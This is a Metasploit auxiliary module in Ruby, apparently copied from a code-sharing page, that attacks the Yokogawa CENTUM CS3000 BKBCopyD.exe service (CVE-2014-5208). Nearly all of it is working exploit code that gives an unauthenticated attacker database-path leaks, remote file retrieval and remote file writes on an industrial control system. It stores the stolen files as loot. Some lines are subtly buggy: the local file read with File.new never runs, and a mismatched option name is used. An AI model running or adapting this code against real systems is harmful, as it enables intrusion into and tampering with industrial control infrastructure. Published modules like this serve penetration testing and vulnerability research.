Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::Tcp
8
  include Msf::Exploit::Remote::TcpServer
9
  include Msf::Auxiliary::Report
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'Yokogawa BKBCopyD.exe Client',
14
      'Description'    => %q{
15
        This module allows an unauthenticated user to interact with the Yokogawa
16
        CENTUM CS3000 BKBCopyD.exe service through the PMODE, RETR and STOR
17
        operations.
18
      },
19
      'Author'         =>
20
        [ 'Unknown' ],
21
      'References'     =>
22
        [
23
          [ 'CVE', '2014-5208' ],
24
          [ 'URL', 'https://www.rapid7.com/blog/post/2014/08/09/r7-2014-10-disclosure-yokogawa-centum-cs3000-bkbcopydexe-file-system-access']
25
        ],
26
      'Actions'     =>
27
        [
28
          ['PMODE', { 'Description' => 'Leak the current database' }],
29
          ['RETR',  { 'Description' => 'Retrieve remote file' }],
30
          ['STOR',  { 'Description' => 'Store remote file' }]
31
        ],
32
      'DisclosureDate' => '2014-08-09'))
33

34
    register_options(
35
      [
36
        Opt::RPORT(20111),
37
        OptString.new('RPATH', [ false, 'The Remote Path (required to RETR and STOR)', "" ]),
38
        OptPath.new('LPATH', [ false, 'The Local Path (required to STOR)' ])
39
      ])
40
  end
41

42
  def srvport
43
    @srvport
44
  end
45

46
  def run
47
    exploit
48
  end
49

50
  def exploit
51
    @srvport = rand(1024..65535)
52
    print_status("#{@srvport}")
53
    # We make the client connection before giving control to the TCP Server
54
    # in order to release the src port, so the server can start correctly
55

56
    case action.name
57
    when 'PMODE'
58
      print_status("Sending PMODE packet...")
59
      data = "PMODE MR_DBPATH\n"
60
      res = send_pkt(data)
61
      if res and res =~ /^210/
62
        print_good("Success: #{res}")
63
      else
64
        print_error("Failed...")
65
      end
66
      return
67
    when 'RETR'
68
      data = "RETR #{datastore['RPATH']}\n"
69
      print_status("Sending RETR packet...")
70
      res = send_pkt(data)
71
      return unless res and res =~ /^150/
72
    when 'STOR'
73
      data = "STOR #{datastore['RPATH']}\n"
74
      print_status("Sending STOR packet...")
75
      res = send_pkt(data)
76
      return unless res and res =~ /^150/
77
    else
78
      print_error("Incorrect action")
79
      return
80
    end
81

82
    super # TCPServer :)
83
  end
84

85
  def send_pkt(data)
86
    connect(true, {'CPORT' => @srvport})
87
    sock.put(data)
88
    data = sock.get_once
89
    disconnect
90

91
    return data
92
  end
93

94
  def on_client_connect(c)
95
    if action.name == 'STOR'
96
      contents = ""
97
      File.new(datastore['LPATH'], "rb") { |f| contents = f.read }
98
      print_status("#{c.peerhost} - Sending data...")
99
      c.put(contents)
100
      self.service.close
101
      self.service.stop
102
    end
103
  end
104

105
  def on_client_data(c)
106
    print_status("#{c.peerhost} - Getting data...")
107
    data = c.get_once
108
    return unless data
109
    if @store_path.blank?
110
      @store_path = store_loot("yokogawa.cs3000.file", "application/octet-stream", rhost, data, datastore['PATH'])
111
      print_good("#{@store_path} saved!")
112
    else
113
      File.open(@store_path, "ab") { |f| f.write(data) }
114
      print_good("More data on #{@store_path}")
115
    end
116
  end
117

118
  def on_client_close(c)
119
    cleanup_service
120
  end
121
end
122

123

124